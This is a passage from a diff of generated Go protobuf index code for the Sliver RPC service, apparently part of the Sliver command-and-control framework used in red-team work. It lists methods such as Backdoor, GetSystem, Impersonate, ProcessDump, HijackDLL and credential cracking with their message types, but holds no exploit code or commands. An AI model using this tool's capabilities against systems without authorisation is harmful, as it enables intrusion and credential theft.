sliverpb.ExecuteReq - 70, // 114: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq - 71, // 115: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq - 72, // 116: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq - 73, // 117: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq - 74, // 118: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq - 75, // 119: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq - 76, // 120: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq - 77, // 121: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq - 0, // 122: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty - 78, // 123: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq - 79, // 124: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq - 80, // 125: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq - 81, // 126: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq - 82, // 127: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq - 83, // 128: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq - 84, // 129: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq - 85, // 130: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq - 86, // 131: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq - 87, // 132: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq - 88, // 133: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq - 89, // 134: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq - 90, // 135: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq - 91, // 136: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq - 92, // 137: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq - 93, // 138: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq - 94, // 139: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq - 95, // 140: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq - 96, // 141: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq - 97, // 142: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq - 98, // 143: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession - 99, // 144: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession - 100, // 145: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq - 101, // 146: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq - 102, // 147: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq - 103, // 148: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq - 104, // 149: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq - 105, // 150: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq - 106, // 151: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq - 107, // 152: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq - 108, // 153: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq - 109, // 154: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq - 110, // 155: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq - 111, // 156: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq - 112, // 157: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq - 113, // 158: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq - 114, // 159: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks - 114, // 160: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks - 115, // 161: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 116, // 162: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 116, // 163: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 117, // 164: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 165: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 118, // 166: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 167: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 119, // 168: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators - 0, // 169: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 120, // 170: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 171: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 121, // 172: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 122, // 173: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 5, // 174: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 175: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 123, // 176: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 6, // 177: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 6, // 178: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 124, // 179: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 180: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 125, // 181: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 126, // 182: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 127, // 183: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener - 128, // 184: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener - 129, // 185: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener - 130, // 186: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener - 130, // 187: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener - 131, // 188: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 131, // 189: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener - 13, // 190: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 191: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 13, // 192: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 13, // 193: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 132, // 194: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 14, // 195: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 196: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 197: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 198: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 15, // 199: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 14, // 200: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 14, // 201: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 15, // 202: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 133, // 203: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 16, // 204: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 205: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 206: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 134, // 207: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 135, // 208: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 209: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 135, // 210: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig - 23, // 211: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 212: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 136, // 213: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 23, // 214: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 215: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 216: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 137, // 217: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 26, // 218: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 219: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 138, // 220: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 27, // 221: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 222: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 28, // 223: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 224: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 225: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 134, // 226: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 139, // 227: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 228: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 140, // 229: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 141, // 230: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 142, // 231: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 143, // 232: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 233: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 31, // 234: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 144, // 235: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager - 145, // 236: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 146, // 237: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 147, // 238: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 148, // 239: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 149, // 240: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 150, // 241: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 242: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 151, // 243: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 36, // 244: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 245: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 36, // 246: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 36, // 247: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 36, // 248: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 39, // 249: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 152, // 250: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 153, // 251: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 154, // 252: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 155, // 253: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 156, // 254: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 157, // 255: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 157, // 256: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 158, // 257: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv - 159, // 258: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 160, // 259: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 161, // 260: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 162, // 261: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 163, // 262: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 164, // 263: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 165, // 264: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 166, // 265: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 156, // 266: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 167, // 267: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 168, // 268: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 169, // 269: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 170, // 270: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 171, // 271: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 172, // 272: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 173, // 273: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 174, // 274: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 174, // 275: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 174, // 276: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 175, // 277: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 176, // 278: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 177, // 279: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 177, // 280: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 178, // 281: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 179, // 282: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 180, // 283: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 181, // 284: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 182, // 285: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 286: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 183, // 287: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 184, // 288: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 185, // 289: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 185, // 290: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 185, // 291: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 186, // 292: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 187, // 293: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 188, // 294: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 189, // 295: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 190, // 296: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 191, // 297: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 192, // 298: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 193, // 299: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 194, // 300: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 195, // 301: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 196, // 302: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 197, // 303: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 198, // 304: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 199, // 305: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 200, // 306: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 201, // 307: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 200, // 308: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 98, // 309: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 310: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 202, // 311: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 203, // 312: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 204, // 313: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 205, // 314: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 206, // 315: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 207, // 316: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 208, // 317: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 208, // 318: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 209, // 319: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 209, // 320: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 210, // 321: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 211, // 322: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 212, // 323: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 213, // 324: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 114, // 325: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 326: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 115, // 327: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 116, // 328: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 329: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 117, // 330: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 23, // 331: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 166, // [166:332] is the sub-list for method output_type - 0, // [0:166] is the sub-list for method input_type + 2, // 2: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq + 3, // 3: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq + 4, // 4: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq + 0, // 5: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty + 0, // 6: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty + 5, // 7: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon + 5, // 8: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon + 5, // 9: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon + 6, // 10: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask + 6, // 11: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask + 0, // 12: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty + 0, // 13: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty + 0, // 14: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty + 7, // 15: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq + 8, // 16: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq + 9, // 17: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq + 10, // 18: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq + 11, // 19: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq + 11, // 20: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq + 12, // 21: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq + 12, // 22: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq + 13, // 23: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot + 13, // 24: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot + 13, // 25: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot + 13, // 26: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot + 0, // 27: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty + 0, // 28: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty + 14, // 29: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials + 14, // 30: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials + 14, // 31: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials + 15, // 32: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential + 15, // 33: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential + 15, // 34: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential + 15, // 35: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential + 0, // 36: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty + 16, // 37: rpcpb.SliverRPC.Host:input_type -> clientpb.Host + 16, // 38: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host + 17, // 39: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC + 18, // 40: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq + 19, // 41: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq + 20, // 42: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary + 21, // 43: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:input_type -> clientpb.ImplantConfig + 22, // 44: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder + 23, // 45: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event + 0, // 46: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty + 24, // 47: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation + 23, // 48: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event + 25, // 49: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark + 0, // 50: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty + 26, // 51: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask + 26, // 52: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask + 27, // 53: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile + 27, // 54: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile + 28, // 55: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk + 28, // 56: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk + 27, // 57: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile + 27, // 58: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile + 29, // 59: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq + 0, // 60: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty + 30, // 61: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq + 0, // 62: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty + 0, // 63: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty + 0, // 64: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty + 0, // 65: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty + 30, // 66: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq + 31, // 67: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile + 32, // 68: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq + 33, // 69: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq + 0, // 70: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty + 34, // 71: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq + 0, // 72: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty + 0, // 73: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty + 35, // 74: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder + 35, // 75: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder + 0, // 76: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty + 36, // 77: rpcpb.SliverRPC.Website:input_type -> clientpb.Website + 36, // 78: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website + 37, // 79: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent + 37, // 80: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent + 38, // 81: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent + 39, // 82: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping + 40, // 83: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq + 41, // 84: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq + 42, // 85: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq + 43, // 86: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq + 44, // 87: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq + 45, // 88: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq + 46, // 89: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq + 47, // 90: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq + 48, // 91: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq + 49, // 92: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq + 50, // 93: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq + 51, // 94: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq + 52, // 95: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq + 53, // 96: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq + 54, // 97: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq + 55, // 98: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq + 56, // 99: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq + 57, // 100: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq + 58, // 101: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq + 59, // 102: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq + 60, // 103: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq + 61, // 104: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq + 62, // 105: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq + 63, // 106: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq + 64, // 107: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq + 65, // 108: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq + 66, // 109: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq + 67, // 110: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq + 68, // 111: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq + 69, // 112: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq + 70, // 113: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq + 71, // 114: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq + 72, // 115: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq + 73, // 116: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq + 74, // 117: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq + 